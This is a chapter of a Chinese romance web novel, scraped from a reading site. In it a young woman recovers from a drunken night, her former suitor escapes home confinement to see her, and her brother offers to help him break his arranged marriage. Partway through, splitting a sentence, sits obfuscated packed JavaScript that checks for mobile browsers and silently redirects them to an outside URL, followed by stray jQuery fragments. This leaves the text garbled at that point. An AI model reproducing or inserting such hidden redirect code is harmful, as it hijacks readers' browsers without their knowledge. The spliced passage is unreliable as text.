默认冷灰
24号文字
方正启体

19. 第十九章 非她不娶

作者:沫竹非竹本书字数:K更新时间:
    019/沫竹非竹


    好热...


    宁哥哥的怀抱也好烫,像要将她烧尽般。


    唇齿之间的纠缠还在继续,她想要退缩,对方却不依不饶了起来。


    还有作乱的大掌,他在往哪里去!


    不要了...宁哥哥不要了...


    她呜呜着出声,实在被吻得太凶了,她猛地咬了他一口,然后挣扎着从他怀中抽离了半分。


    她睁开眼,本以为看到的是宁哥哥的那张俊容,却未想到,竟是...


    “啊!”


    谢清婉猛地坐起了身,这一瞬间,她只觉脑中一片空白。


    等神思回归,她看着自己还坐在熟悉的榻上,好一会儿,那剧烈的心跳才终于平复了下来。


    真是吓死她了...


    这是什么噩梦!


    “小姐!您终于醒了!”


    春儿从偏房进来,立刻挂上了床帘。


    今日暖阳强烈,谢清婉下意识用手遮挡起了光,微微眯起了眼。


    盆里清水的温度正好,春儿浸湿了帕子,递给了她。


    谢清婉胡乱擦拭起来,感受着浑身提不起劲来般的软,问道:


    “昨晚后面怎么了?我怎么回来的?我怎么什么都记不得了...”


    春儿接过她手中的巾帕,缓缓道:“小姐,您这酒量啊以后还是别喝了...昨夜您喝醉了又哭又笑的,最后还是少爷抱着您回来的。”


    “...那昨夜...没什么情况吧?”


    春儿摇头道:“没人进来,奴婢和刘大哥一直在园门口看着呢。”


    谢清婉抬眸打量着春儿的神色,见她并未什么异常,心口那颗大石终是稳稳落了地。


    只是噩梦而已...幸好...


    “少爷对小姐真好,临走的时候还一直嘱咐奴婢,说以后有什么事都直接找他便好了。”


    “少爷是真将小姐当妹妹呢!”


    谢清婉心脏猛地漏跳了一拍,她也说不上来这是为什么,但总给她一种奇怪之感。


    “他是那女人的儿子,这就是原罪。”


    谢清婉压下那些莫名其妙的思绪情绪,她起身更衣,准备去书房看书。


    现如今出也出不去,也等不到他来。


    既没有任何解释,也没有任何举动,她不能总沉浸于悲伤之中,她还有其他重要的事情待做。


    刚踏出屋子,发现刘敬带了个人在外头候着。


    “小姐,此人是少爷派来护您安危的。”


    谢清婉看了那人一眼,眉骨上有显眼的疤痕,她一下认出了他来。


    “小的陈刀,听候小姐差遣。”


    他跪地行礼,谢清婉看到他手背上还有未愈合好的伤口。


    见状,刘敬赶紧解释道:“陈刀再不会疏忽大意了,小姐您放心。”


    有些东西自心口生芽,她说不出是什么。


    古怪至极。


    “我连门都出不去,有什么好护的。”


    谢清婉不再看他,带着春儿朝着书房走去,走了几步,她突然停了下来。


    “镇虎堂的事如何了?”


    陈刀回复道:“回小姐的话,大人已领人剿灭了他们在都城的窝点,所有成员均已缉拿。”


    怪不得他每日这般的忙。


    他在朝堂大展拳脚,反观自己,困在这宅子里,伤风悲月的...


    昨夜他看到自己那般醉样,就算面上不显,肯定也在心中笑她,哪里会像梦中那样...


    莫名其妙,自己真是莫名其妙。


    谢清婉点了点头,抬脚继续走了。


    刘敬看着她们背影,对着陈刀吩咐道:“千万要好生护着。”


    “是!”


    ---


    宁府之中,已没了之前上门贺喜宾客的喧嚣,反倒是一片死寂。


    后院里,一间紧闭的屋门,外头守着层层身强力壮的侍卫。


    伺候的小心翼翼,端着饭食,在侍卫的带领下,进了屋内。


    仆从将餐盘放下,刚想劝说,便见宁永思走了过来坐下。


    他手上还被捆绑着:“解了,我饿了。”


    他神色疲乏憔悴,又加之几日不食,平日里伺候的仆从此刻都觉得心酸。


    “少爷能想通就好,少爷能想通就好!”


    侍卫见状立刻解了他手上绳捆,宁永思拿起筷著,开始吃起了东西。


    大喜过望,仆从见状赶紧退了下去,向老爷夫人汇报去了。


    一众的侍卫也都松了一口气。


    宁父正在房中陪着夫人,此刻听了那仆从的汇报,一时反而蹙起了眉头。


    “思儿...难道想通了?”


    宁父自言自语,反倒是宁母,她轻叹了口气,担忧道:“就怕郁结在心,这辈子便毁了。”


    宁父刚想说些劝慰的话,门口又传来急切的脚步声,大呼道:“不好了,少爷假意服软,刚刚猛攻了出去,属下未能拦住!”


    宁父震怒,就要出去指挥抓人,手臂却被一道温柔的力道牵住。


    “让他去吧...不去说个清楚,他是不会死心的。”


    “可夫人...我真怕他做傻事啊!宁府还有这么多人,为夫要如何交代...”


    宁母摇了摇头,她拿起绢帕擦干了泪:“他是个好孩子,他不会的...只是可惜了...可惜了婉儿这般好的姑娘...”


    “我对不住她娘,对不住啊...”


    宁母揪紧了绢帕,泪水已将细布浸透,哽咽到再说不出话来,宁父将她抱在怀中,劝慰安抚,但一切的话语都显得苍白至极。


    宁永思一路疾驰,堪堪走到谢府门口,却见外头守着不少的侍卫。


    他赶紧退至巷口,此刻,他一脸苍白,连日斗争已损了他的气力,他不敢硬闯,也不敢奢望门口这些人会让路。


    他转身去了后门,运气跃起,他此刻也顾不上什么礼数,他只有一个念头,就是见到她,赶紧见到她。


    告诉她这一切都不是他的意思,他从未变心,他这辈子都不会变心。


    熟悉的园子,他翻墙而入,躲过了仆从视线,径直朝着那处走去。


    可刚刚入了芝兰园,一道凌厉拳风就朝他逼近而来。


    他赶紧旋身躲过,眼前是一个面生的中年男人,眉骨上还有一道显眼的疤痕。


    “在下并无恶意...”


    宁永思话才说了一半,陈刀的掌风已然又至。


    “闯府宵小,找死!”


    陈刀再不给他任何说话的机会。


    宁永思暗自心惊,他自认为自己武功已算是都城数一数二之人,可眼前人看似凌乱的路数之中,却是独成一派的严谨,招式看似笨重,却将他一身的蛮力给运用到了极致。


    宁永思这几日本就有些损了身子,此刻硬抗招式实在有些吃力。


    这边动静不小,很快就有脚步声靠近。


    宁永思无法,只得身形一晃,使了轻功离了此处。


    他未想到这芝兰园中有这般的高手,思索几番,有一人浮现心头。


    是了,谢兄!


    ---


    谢行止刚碰到杯口,唇瓣的伤口又生了些疼。


    他放下杯盏,眼中划过一丝晦暗。


    日落西山,已是不早,他起身,将值牌收回,准备离开大理寺。


    刚刚走出殿门没几步,大理


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546718|186737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    寺卿赶紧追了出来道:“谢大人留步!”


    “徐大人。”


    谢行止止了脚步,对着大理寺卿徐岩行了一礼。


    徐岩哪敢受他的礼,连忙也回了一礼,谢行止目前虽担着少卿的官名,但谁都知晓他是圣上特派而来,一言差错,说不准就送到了御前。


    虽然目前看来谢行止品行高洁,但他自然还是要谨慎的。


    “谢大人,如今都城镇虎堂一案已经告破,不知圣上那边可还有什么指示?”


    此案报呈御前已有些日子,按理不该还未有任何旨意。


    谢行止自然知晓他担心的是什么。


    此案在他还未经手前已耗了许多时间,圣上派了他来监察领办,自然也有拷打这些官员办事无能的意思。


    谢行止缓缓道:“此事,自有圣意裁夺,臣等怎敢揣测君心。”


    徐岩心惊,眼前人还这般年轻,但说话做事已然是滴水不漏。


    “自然自然,只是...只是此案还未封存,本官生怕又出了些什么乱子。”


    “大人放心,大人所做的努力,圣上都是看在眼中的。”


    谢行止告辞离开,徐岩反倒是生了一身的冷汗。


    等彻底离开官衙,谢行止正要上马车,脚边却有碎石不知从何处而来。


    “你们先回去吧。”


    马车夫领命,谢府的马车很快离了开。


    谢行止离了下值的人群,独自朝着一条小巷走去。


    “我就知道,谢兄定能察觉!”


    “谢兄,我真的没有办法了,如今只能来找你。”


    谢行止看着眼前人一脸憔悴,未曾打理的脸上生了些胡茬,头发也有些乱:“宁兄找我,是要说什么?”


    见谢行止的语气有些冷淡,宁永思先是一愣,但很快明白了过来。


    婉儿是他妹妹,他如今被赐婚,这般举动自然会令人误会,以为是他做了什么背叛之事。


    他赶紧道:“谢兄,你千万不要误会,这件事我也并不知情,我离开都城之前也不过只同那公主偶遇了几次,我是真的不知为何会如此。”


    “我对阿婉的心意天地可鉴,这辈子我非她不娶,即便舍弃一切,即便…”


    “非她不娶?舍弃一切?”


    宁永思未曾注意到谢行止握紧的拳,也未注意到他带着冷意的眼。


    只自顾自回答道:“是,就算被千夫所指,我也绝不后悔!”


    “那她呢?你觉得宁府众人会放过她么?天家的怒火又要谁来承担?还有她的母亲,若她真的还活着,愿意看到自己的女儿承受这样的痛苦么?”


    “你倒是不怕千夫所指,可在世人眼中,错的只会是她。”


    宁永思愣在原地,本是满腹的热血,此刻却被他这几句话浇得透彻。


    见他一副大受打击的模样,谢行止压着心口阴郁和愠怒:“你去过谢府了?”


    宁永思堪堪回神:“是...但我未曾见到她...谢兄,你帮帮我,让我见阿婉一面吧。”


    谢行止转过了身,好一会儿,终是压下了那翻滚的情绪。


    “我帮不了你。”


    “如今你已有婚约在身,你去见她,就是害她。”


    谢行止声色冰寒,宁永思红了眼。


    “...好,我再想办法便是。”


    宁永思理解他的立场,他垂着头,转身要走。


    “等等...”


    谢行止叫住了他。


    宁永思回头,看向他,听着他冷清的声音传来。


    “但我能帮你...”


    天色已泛起了青,暗巷内,没人能看清谢行止的神色。


    “悔了婚约。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)